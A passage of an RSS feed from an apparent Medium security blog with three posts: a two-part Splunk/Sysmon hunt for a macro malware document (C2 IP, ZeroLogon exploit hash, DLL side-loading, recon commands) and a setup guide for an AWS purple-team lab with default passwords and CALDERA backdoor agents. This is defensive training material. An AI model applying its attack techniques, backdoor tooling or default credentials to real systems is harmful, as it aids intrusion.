src="https://cdn-images-1.medium.com/max/1024/1*gJdA1EX9JHTIPgZu6gt8wQ.png" /><figcaption>Privilege escalation Detected</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c31fc3b61af9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting Malicious Documents using Sysmon Logs in Splunk Part 2]]></title>
            <link>https://medium.com/@DillonSingh/hunting-malicious-documents-with-sysmon-and-splunk-part-2-3e7b8654a0b4?source=rss-8e21b3c90dc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/3e7b8654a0b4</guid>
            <dc:creator><![CDATA[Dillon Singh]]></dc:creator>
            <pubDate>Thu, 11 Aug 2022 14:41:35 GMT</pubDate>
            <atom:updated>2023-09-21T12:06:06.004Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome back all! This is Part 2 of Hunting Malicious Documents with Sysmon and Splunk.</p><h3>Introduction</h3><p>This post will build on Part 1’s knowledge of the hunt. The difference is in this post, we will uncover the malware’s IP and complete further investigation of the event logs to see what the malware has accomplished. To see Part 1, click: <a href="https://medium.com/@DillonSingh/threat-hunting-malicious-documents-with-sysmon-and-splunk-7e48e032966f">Threat Hunting Malicious Documents with Sysmon and Splunk Part 1 | by Dillon Singh | Aug, 2022 | Medium</a></p><h4>We’ll use these Sysmon Events IDs to help understand the malware’s behaviour:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/0*YPcjeRYf2kXTx5e6.png" /><figcaption>Sysmon Event IDs</figcaption></figure><p>In Part 1, we left off by understanding Winword.exe had executed rundll32.exe and had loaded ier.dll in memory (Event Code 7 means an Image was loaded to memory). I understood this isn’t normal WINWORD.exe behaviour so I further investigated. My suspicion was that the malware was using rundll32.exe to load its payload inside a Windows approved .dll to evade AV &amp; EDR detection. When searching this event up in Splunk, Splunk had also correlated this behaviour to MITRE Technique: T1137 | Office Application Startup. Adversaries tend to use this technique on MS Office applications to establish persistence between startups. This point further strengthens my original hypothesis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Nw6xXqN2PRWw17LTMxLIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YlDb3sP24ceXgoCAw5Hnhg.png" /><figcaption>Splunk &amp; MITRE ATT&amp;CK Images</figcaption></figure><h3>Part 2 Begins:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C6D9VbT3AE4vDR2j5NMH4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jTqTfHnFP1-1s-8Et4wIkA.png" /><figcaption>Splunk &amp; MITRE ATT&amp;CK Images</figcaption></figure><p>Technique ID: T1204 | User Execution.</p><p>This technique is commonly employed by adversaries in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for instance, opening a malicious document file or URL. Whilst in the majority of cases, User Execution occurs shortly after Initial Access, it can occur again at other places of an intrusion, such as when an adversary places a file in a shared directory or on a user’s desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.</p><p>We can see that once WINWORD.EXE executes, a file is injected into the C: drive, in the downloads directory. The suspicious file is 0714_6656030531.doc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uvwHHD0X31GfaQY0MPGp9w.png" /><figcaption>HKU Registry Persistence</figcaption></figure><p>When searching for file ‘0714_6656030531.doc.’ in Splunk, an event showing Sysmon Events 13 and 4, appeared. I expanded the event, as shown above, to investigate. If you look under C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE, you’ll realise Windows HKU registry values are being accessed. Since Event ID 13 appeared, I can confidently assume, post User Execution of the malicious document, the malicious document is being injected into the HKU registry keys to establish persistence on the host device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OndqFq1ux1JwxapmL-DTgQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ZR0_X0gom6eMT-NNjqZ7Q.png" /><figcaption>Sysmon Event of DLL Side-Loading Execution</figcaption></figure><p>MITRE ATT&amp;CK Technique: T1073 | DLL Side-Loading.</p><p>Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads, but rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload/payloads. The application used in this particular case was WINWORD.EXE. WINWORD executed rundll32.exe in which invoked ier.dll.</p><p>Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qX6IEq9DD7VBew_qjEvJsg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g31v6yZJThOmwoJVeFPlvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XYxGv62eQRgUV5DFQTKzGw.png" /><figcaption>Attacker’s C2 IP</figcaption></figure><p>I used ‘source=”5295-win82-sysmon.evtx” rundll32.exe EventCode=3’ in Splunk’s search engine. One of my objectives was the find the attacker’s IP so I knew I had to search for events that included network communication, which is EventCode=3. I found that Rundll32 was connecting to IP ‘190.114.254.116’. There were 54,181 communications to that IP. When searching this IP in VirusTotal, it was flagged as malicious by 9 different security vendors. I can therefore confidently conclude that is the C2 of the attacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zpd4YkHUpgDfFJYT_q4vpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dfAJAvIy-oxQZh8P_wHfyg.png" /><figcaption>cor.bat File</figcaption></figure><p>In Splunk’s search engine, I decided to investigate what events have been created by rundll32.exe. I used source=”5295-win82-sysmon.evtx” rundll32.exe EventCode=1 and found 18 similar events to the above. It seems the adversary is using Windows Command Shell via remote services to execute ‘copy cor.bat’ to a C drive at a local IP 10.100.100.68.</p><p>It is very common for adversaries to leverage shells like cmd and PowerShell to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.</p><p>In the above, the attacker is seen copying cor.bat files to an IP. Batch files, ex: .bat, are known to provide the shell with a list of sequential commands to run, as well as normal operations. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5KJ5yEWN8zMS0XbDs5pGtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uybJzOB_SAw40k102V-ILA.png" /><figcaption>zero.exe</figcaption></figure><p>I found that the attacker executed zero.exe on IP 10.100.100.20 Domain Controller machine 1, and tried to log in as an administrator on the lakestatebank.local domain and execute PowerShell. When searching zero.exe on VirusTotal, it flags as malware, exploit, and a hacking tool. As an exploit, the description of its function is ‘An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC), aka ‘Netlogon Elevation of Privilege Vulnerability.’ Reference: <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-1472">NVD — CVE-2020–1472 (nist.gov)</a>. The SHA1 Hash of zero.exe is: 8A06C836C05537FCD8C600141073132D28E1172D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Zy2271U50tA3EqVmxBYnQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qEkIgcolgroi-lJqmOD0IA.png" /></figure><p>The 2 images above show the attacker using ‘C net group / domain’ and ‘C net view / domain’. The ‘net group’ command is used to add, delete, and manage global groups on servers, and the ‘net view’ command, without parameters, displays a list of computers in your current domain, so it’s clear that the attacker is trying to deepen their understanding of the company’s infrastructure and services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KhVgkWMzWbMdzJeINlhJxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XuM1eEid4_LyxZnb3DGwyw.png" /><figcaption>Dropping and Copying GAS.exe</figcaption></figure><p>Additionally, the attacker is seen dropping and copying another malware called ‘GAS.exe’ on IP ‘10.100.100.73’. On Splunk, I couldn’t find the HASH of GAS.exe, but if we’d looked at the logs on which system it was executed, it may appear there.</p><p>Part 3: <a href="https://medium.com/@DillonSingh/writing-a-sigma-rule-7fd300daba84">Hunting Malicious Documents Using Sysmon Logs in Splunk Part 3: Writing a Sigma Rule | by Dillon Singh | Sep, 2022 | Medium</a>. In Part 3, I write a Sigma rule for this attack.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3e7b8654a0b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting Malicious Documents using Sysmon Logs in Splunk Part 1]]></title>
            <link>https://medium.com/@DillonSingh/threat-hunting-malicious-documents-with-sysmon-and-splunk-7e48e032966f?source=rss-8e21b3c90dc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e48e032966f</guid>
            <dc:creator><![CDATA[Dillon Singh]]></dc:creator>
            <pubDate>Thu, 04 Aug 2022 08:57:19 GMT</pubDate>
            <atom:updated>2023-04-30T11:43:20.734Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this post, we’re going to investigate for malicious activity using the hypothesis that an adversary targeting the industry we are in are utilising a malicious document with Windows Word macros, to gain access to a targeted organisation. The malware we’ll be hunting for is hidden in a Word attachment and was delivered via email to the intended target.</p><p>Macro malware attacks were fairly common several years ago since macros ran automatically whenever a document was opened, however, in recent versions of Microsoft Office applications, macros are disabled by default. These attacks are designed to entice the user into opening their attachment or link. These types of emails tend to look like legitimate invoices, receipts, legal documents, and more. Malware authors now need to convince users to manually enable macros so that their malware can run. They do this by instilling fear into the victim with fake warnings that look totally real.</p><p>In our hunt, we’ll searching for Winword.exe as a parent process since our hypothesis is that a WinWord macro malware has been executed to gain initial access by an APT group that is actively attacking our industry. The attack scenario in this case is the Armageddon APT group, and their malware and C2 servers have been designed to bypass Anti Virus and Endpoint Detection and Response.</p><p>I’ve collected the Sysmon log file of this scenario, and my objectives are to uncover the effects of the malware, and find the attacker’s malware and IP. The SIEM we’ll be using is Splunk (free version). The Sysmon .evtx file I’ll be using is 5295-win86-sysmon.evtx.</p><h3>What is Threat Hunting?</h3><p>Threat hunting is the practice of proactively searching for cyber threats that are lurking undetected in a network. Cyber threat hunting digs deep to find malicious actors in your environment that have slipped past your initial endpoint security defenses.</p><p>After sneaking in, an attacker can stealthily remain in a network for months as they quietly collect data, look for confidential material, or obtain login credentials that will allow them to <a href="https://www.crowdstrike.com/cybersecurity-101/lateral-movement/">move laterally across the environment</a>.</p><p>Once an adversary is successful in evading detection and an attack has penetrated an organization’s defenses, many organizations lack the advanced detection capabilities needed to stop the <a href="https://www.crowdstrike.com/cybersecurity-101/advanced-persistent-threat-apt/">advanced persistent threats</a> from remaining in the network. That’s why threat hunting is an essential component of any defense strategy. <strong>Reference:</strong> <a href="https://www.crowdstrike.com/cybersecurity-101/threat-hunting/">What is Cyber Threat Hunting? [Proactive Guide] | CrowdStrike</a></p><h3>Sysmon</h3><p>“System Monitor (Sysmon) is a Windows system service and device driver that, once installed on a system, remains resident across system reboots to monitor and log system activity to the Windows event log. It provides detailed information about process creations, network connections, and changes to file creation time. By collecting the events it generates using Windows Event Collection or SIEM agents and subsequently analyzing them, you can identify malicious or anomalous activity and understand how intruders and malware operate on your network.” <strong>Reference</strong>: <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon">https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon</a></p><h3>Sysmon XML Configuration Files</h3><p>Sysmon XML files were designed to be modifiable to suit an organisation or personal needs. For instance, the configuration file I’ll be using is the SwiftOnSecurity open source project:<a href="https://github.com/SwiftOnSecurity/sysmon-config">https://github.com/SwiftOnSecurity/sysmon-config</a>. This Sysmon XML file has been coded to detect MITRE ATT&amp;CK techniques employed by malware. For example, below presents a section of the SwiftOnSecurity Sysmon XML configuration file where the developers have included MITRE ATT&amp;CK technique T1089 (Line 661/662) and T1103 (Line 666/667). T1089 is a defense evasion technique. It has been used by many APT Threat Groups like The Lazarus Group to avoid detection. T1103 is a Privilege Escalation and Persistence technique. APT39, also known as the Iranian Ministry of Intelligence and Security, have employed that known TTP is a number of their attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/0*HjHguDdJPKvww_ys.png" /><figcaption>Installing and Configuring an XML file in Windows PowerShell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7PIPDvx1xa5VJdF0.png" /><figcaption>SwiftOnSecurity Sysmon XML Configuration File</figcaption></figure><h3>What is a .evtx file?</h3><p>A .EVTX is a proprietary windows Log file. It is in binary format and can be viewed if you’d upload it to a SIEM or an analysis tool. The Windows Event Viewer produces these files and it shows information about significant events occuring on your computer. Below shows all the .evtx files on my Windows VM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/0*Rs14U65Axn7HWHU8.png" /><figcaption>List of Log Files</figcaption></figure><h3>How to upload Sysmon logs to Splunk</h3><ul><li>Open Start Menu and search for ‘Event Viewer’</li><li>Click Event Viewer.</li><li>Once Event Viewer opens, expand ‘Applications and Services Logs’</li><li>Expand ‘Microsoft’</li><li>Expand ‘Windows’</li><li>Expand ‘Sysmon’</li><li>Right-click ‘System’ and select ‘Save Events As’</li><li>Save the log in .EVTX format</li><li>Upload into Splunk, or your preferred SIEM</li><li>Conduct your analyse for malicious activity based on your data or hypothesis</li></ul><h3>To help navigate our investigation in Splunk, we’ll use the following:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/0*iThaji7ANwLvDcmI.png" /><figcaption>Reference: chrome-extension://efaidnbmnnnibpcajpcglclefindmkaj/<a href="https://www.ibm.com/support/pages/system/files/inline-files/$FILE/OpenMic_Sysmon_Dec18_2018.pdf">https://www.ibm.com/support/pages/system/files/inline-files/$FILE/OpenMic_Sysmon_Dec18_2018.pdf</a></figcaption></figure><p>I will now use Splunk Enterprise to investigate 5295-win86-sysmon.evtx to find a malicious IP addresses, which may indicate an attacker’s C2.</p><ol><li>First, upload the .evtx file into Splunk, as shown in the following screenshots:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/0*fDsNHtl8iWx_WOpy.png" /><figcaption>Uploading the .evtx file</figcaption></figure><p>2. .evtx file shown in binary format. Keep selecting next until ‘done’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/0*KhDY-_OQvksVNFrV.png" /><figcaption>File in binary format</figcaption></figure><h3>Let’s get started:</h3><p>Once the file is uploaded and Splunk search has commenced, Splunk will automatically identify and sort the data as seen in the screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uSJVVgij_MXyUGwM.png" /></figure><p>As a part of our Threat Hunting process, we have formulated the hypothesis that the organization has already been breached, and that the attacker has used a malicious Microsoft Word document. We are now searching for specific indicators that indicate such an attack.</p><h3>Indicators:</h3><ul><li>Process create (Event ID: 1)</li><li>File create (Event ID: 11)</li><li>Network Connection (Event ID: 3) — Malware perhaps connecting to an IP to execute its successive stage. Or maybe connecting directly to a C2</li></ul><p>The Event and Event ID are highlighted in the screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/0*F-H80dt-N-Ho3rEI.png" /></figure><p>Since we are interested in Winword.exe as a parent process, let’s enter ‘Winword.exe’ into the Splunk search bar and investigate the logs that appear.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/0*uq7a6Z4kXWKNPYMF.png" /></figure><p>After this, if we search for the ‘Interesting Fields’ section on the left of the Splunk Enterprise New Search page, using selecting the ‘Event Code’ link will be useful in showing the Sysmon event codes appearing in the logs. Clicking on it will reveal a table tabulating the Sysmon event codes appearing in the logs with their frequencies and some other statistic data included. This help us understand exactly how many event of event code 1 -19 are included.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/0*MhN3D2vUNqelkdui.png" /></figure><p>Since we are particularly interested in Event Code 1 (Process Create), lets click on it. 2 events appear for this as Winword as the parent process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/0*U9UKA2es3_9xFRZw.png" /></figure><p>If we expand the first event, we see that Winword.exe has executed rundll32.exe, along with the exact command line, having dropped a file called ‘ier.dll’. I’m fairly confident therefore this malware is injecting itself into a signed Windows Application to download and run a malicious dll file, as we’re able to tell from the command line ‘current directory’ ‘Downloads’ folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/0*eoIC8QrvsLZ8AvdH.png" /></figure><p><strong>Continued at Part 2:</strong> <a href="https://medium.com/@DillonSingh/hunting-malicious-documents-with-sysmon-and-splunk-part-2-3e7b8654a0b4">Hunting Malicious Documents Using Sysmon Logs in Splunk Part 2 | by Dillon Singh | Aug, 2022 | Medium</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e48e032966f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[By Reading This Post, You Will:]]></title>
            <link>https://medium.com/@DillonSingh/purple-teaming-like-a-pro-overview-of-project-part-1-a398a8f55baf?source=rss-8e21b3c90dc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/a398a8f55baf</guid>
            <dc:creator><![CDATA[Dillon Singh]]></dc:creator>
            <pubDate>Thu, 04 Aug 2022 08:54:41 GMT</pubDate>
            <atom:updated>2024-01-09T14:34:38.276Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>By Reading This Post, You Will:</strong></p><ol><li>Understand what the MalTrak Purple Team Cloud Lab is</li><li>Learn how to set it up</li><li>See what Red Team and Blue Team Tools are available</li><li>Understand what exactly you can do in this Lab and how to use it</li><li>What Purple Teaming is</li></ol><h3>What is Purple Teaming?</h3><p>Purple teaming is a security methodology in which red and blue teams work closely together to maximise cyber capabilities through continuous feedback and knowledge transfer.</p><p>Purple teaming can help security teams improve the effectiveness of vulnerability detection, threat hunting and network monitoring by accurately simulating common threat scenarios and facilitating the creation of new techniques designed to prevent and detect new types of threats.</p><p>Some organisations perform purple teaming as one-off focused engagements, in which security goals, timelines and key deliverables are clearly defined, and there is a formal process for evaluating lessons learned throughout an operation. This includes recognising offensive and defensive shortcomings and outlining future training and technical requirements. <strong>Reference:</strong> <a href="https://www.redscan.com/news/purple-teaming-can-strengthen-cyber-security/">What is Purple Teaming? How Can It Strengthen Your Security? | Redscan</a></p><h3>The Benefits of Purple Teaming</h3><ol><li>Being able to observe and participate in attacks gives the blue team a better understanding of how attackers operate, enabling them to more effectively employ technologies to deceive actual attackers and study their tactics, techniques and procedures (TTPs).</li><li>Combining defence and offence through <a href="https://www.redscan.com/news/redscan-labs-preventing-data-exfiltration-network-endpoint-monitoring/">purple team</a> exercises allows organisations to improve security monitoring functions faster and at less cost.</li><li>An alternative approach within the security industry is to view purple teaming as a conceptual framework that runs throughout an organisation. This can nurture a collaborative culture that promotes continuous cyber security improvement.</li><li>Purple teaming gives your internal security team a critical understanding of gaps in your security posture and helps to identify areas for capability enhancement.<strong> Reference:</strong> <a href="https://www.redscan.com/news/purple-teaming-can-strengthen-cyber-security/">What is Purple Teaming? How Can It Strengthen Your Security? | Redscan</a></li></ol><h3>The MalTrak Purple Team Cloud Lab</h3><p>The MalTrak Purple Team Cloud Lab is an AWS Active Directory Lab. This will allow security enthusiasts to perform advanced Purple Teaming exercises in an easily created and destroyed controlled environment. The Lab is configured to use Terraform to create the infrastructure, and activating the lab is done directly from the Command Line Interface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FmL19xdXbP5anraLCVRy2Q.png" /><figcaption>Terraform File of the Purple Team Cloud Lab</figcaption></figure><p>The workstation’s configurations are included below to specify what and how the workstation should operate. Amazon AMI ID, the instance type (workstation’s system configurations), private IP, subnet IP, etc. Further below, one can see the type of PowerShell commands and services that are being implemented.</p><p>This project was initially reserved for those who paid for the Threat Hunting &amp; Purple Teaming technical training, but my Mentor, Amr Thabet, has now open-sourced it, available for all to take full benefit of it. Since I am a part of the MalTrak Cybersecurity Masters Program, Amr has assigned this to me as the Purple Team project and hopes that by practising in these Labs, my Threat Hunting, DFIR, and Red Teaming skills can be honed and developed. It is also my intention to blog about this project so that I can share the skills I develop and my progression.</p><h3>Terraform</h3><p>“HashiCorp Terraform is an open source infrastructure as code (IaC) software tool that allows DevOps engineers to programmatically provision the physical resources an application requires to run. Infrastructure as code is an IT practice that manages an application’s underlying IT infrastructure through programming.’’ Reference: <a href="https://www.techtarget.com/searchitoperations/definition/Terraform">https://www.techtarget.com/searchitoperations/definition/Terraform</a></p><h3>Purple Team AWS Active Directory Lab</h3><p>This environment consists of a Domain Controller and a Workstation; both are 2019 Edition Windows Servers, with Sysmon and Winlogbeat installed. Winlogbeat is used to establish a logging system to ELK, where I’ll use Elasticsearch Kibana to monitor the events I’ll be simulating from my C2 on my targets. I’ll investigate the logs, write detection rules, perform forensics to investigate any malicious activity and more but those will be covered in later posts.</p><h3>Lab Machines</h3><ul><li>Red Team Network CALDERA: This machine is Amazon Linux 2, Redhat based, with size t2.micro. No cost attached with AWS Free tier</li><li>Blue Team Network HELK: This machine is also an Amazon Linux 2 with a size of t2.large (8 GB, 2 vcpu) and 80 GB of disk space</li><li>ADLab Systems: Both the Domain Controller and Workstation are Windows Servers 2019 Edition, with size t2.micro. Also no cost with AWS Free tier</li></ul><h3>Installation</h3><ol><li>Switch to the eu-west-1 region in your AWS console (on the browser)</li><li>Go to your AWS Account and create a user with administrator permissions and get its ACCESS KEY and SECRET KEY</li><li>Run ‘aws configure’ in your terminal and provide the ACCESS KEY, SECRET KEY, and set the region as eu-west-1</li><li>Go to EC2 → Instances → Key Pair and create a key with the name ec2_key_pair (all lowercase) and save the .pem key file</li><li>Copy the ec2_key_pair.pem file to your C:\Users\&lt;your username&gt;\.ssh folder and rename it to id_rsa</li><li>Open your terminal once again, change to the purple lab directory (this project folder) and run ‘terraform init’ and then ‘terraform apply’ and choose ‘yes’</li><li>It will take approximately 40 minutes to complete, depending on your internet connection</li><li>Congrats! You have your Purple Team Cloud Lab created in AWS. An important note — If you are not using it, please return to your terminal and enter ‘terraform destroy — — auto-approve’.</li></ol><h3>Credentials</h3><p>To login to the ADLab, use the following credentials:</p><p>Username: Administrator|Password: LabPass1 = Local Admin Account, you can use it remotely with RDP or PowerShell remoting</p><p>Username: adlab\ddean|Password: LabPass1 = This is the Domain Admin Account. You can use it to access both machines as a Domain Admin</p><p>Username: adlab\kbaehr|Password: LabPass1 = This is the Workstation User. It isn’t preconfigured to have administrator privileges.</p><h3>Accessing The Blue Team Machine (HELK)</h3><p>SSH: You’re able to connect using ssh ec2-user@&lt;blueteam public ip&gt; and it will use the key pair you moved to .ssh folder and renamed to id_rsa</p><p>OR</p><p>Your Browser: Use the machine’s public IP, and connect using the https protocol. Username: helk|LabPass1</p><h3>Accessing The Red Team CALDERA Machine</h3><p>SSH: You’re able to connect using ssh ec2-user@&lt;redteam public ip&gt;</p><p>OR</p><p>Your Browser: Connect using HTTP to port 8888. Credentials are saved at /tmp/password. You can read it by accessing the machine using ssh and running cat /tmp/password</p><h3>The ADLab Domain</h3><p>The ADLab Domain is a simple domain. It includes the Domain Controller which functions as a DC and a DNS server. The domain has 3 users. The following tools are installed on these domains:</p><ul><li>Sysmon for Log Analysis</li><li>PowerShell remoting. pre-configured for use (with self-signed certificates)</li><li>Atomic Red Team (for Red Team simulations)</li><li>Wireshark installed using chocolatey</li><li>Google Chrome</li></ul><p><strong>Blue Team HELK Machine</strong><br>The Blue Team HELK machine wasn’t only designed for Log Analysis. It is intended to be used for in-depth investigations, such as:</p><ul><li>Threat Hunting ELK: Which has Elasticsearch, Kibana, Logstash, and Elastic Alert. All running as docker images. They receive all the Sysmon and the other logs by using Winlogbeat</li><li>Sigma Rules: Sigma is useful in creating new alerts or new detections, you can compile them for Elastic Alert. Please follow HELK documentation for how to do that</li><li>PowerShell Remoting: Powershell remoting installation is quite tricky to work on Linux but it’s in this machine and it functions fantastically. It’s very useful to connect directly to ADLab Domain and investigate attacks or transfer files to the ADLab Domain</li><li>Kansa &amp; KAPE: Both Kansa &amp; KAPE are known for DFIR and remote triage. Kansa.ps1 won’t work properly on Linux but you can execute its modules directly on the AD machines using PowerShell remoting</li><li>Volatility: Volatility is known for Memory Forensics, and on this machine, we have both Volatility and Volatility3 installed, with all their additional modules</li><li>DumpIt: DumpIt is a known tool to create a Memory Dump on Windows. It’s included inside the tools folder so you can transfer it to the AD machines using PowerShell remoting and collect the memory dump</li><li>Python2 &amp; 3: Python2 &amp; 3 are installed</li></ul><h3>PowerShell Remoting:</h3><p>The below PS script will connect you to the ADLab Domain Controller. You may also customize this script to make it connect to the Workstation too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*5PZVRJGfXSIYuMk5.png" /><figcaption>Reference: <a href="https://github.com/MalTrakLab/purple-team-cloud-lab">https://github.com/MalTrakLab/purple-team-cloud-lab</a></figcaption></figure><h3>Red Team CALDERA Machine</h3><p>Using CALDERA, you’re able to drop agent/agents on target VMs. These agents will function as a backdoor. The agent will connect back to your C2 (CALDERA) at intervals for instructions and you’ll be able to simulate malicious commands from your command and control server. CALDERA has up to 4 different types of backdoors and the software was impressively built by the MITRE Corporation themselves.</p><h3>Capabilities:</h3><ul><li>Adversary Emulation</li><li>Log Analysis</li><li>Writing Sigma &amp; YARA rules</li><li>Customize the ADLab environment</li><li>Purple Teaming exercises</li><li>EDR Testing Lab</li><li>Digital Forensics</li><li>Memory Forensics</li><li>Network Forensics</li><li>Malware Analysis <strong>*IMPORTANT*</strong> <strong>Learn how to properly configure your VM for Malware Analysis:</strong> <a href="https://www.youtube.com/watch?v=k9SWGPwei-8">(2) How to build your own malware analysis lab? P. 1 — YouTube</a></li><li>Reverse Engineering</li><li>Threat Hunting</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a398a8f55baf" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>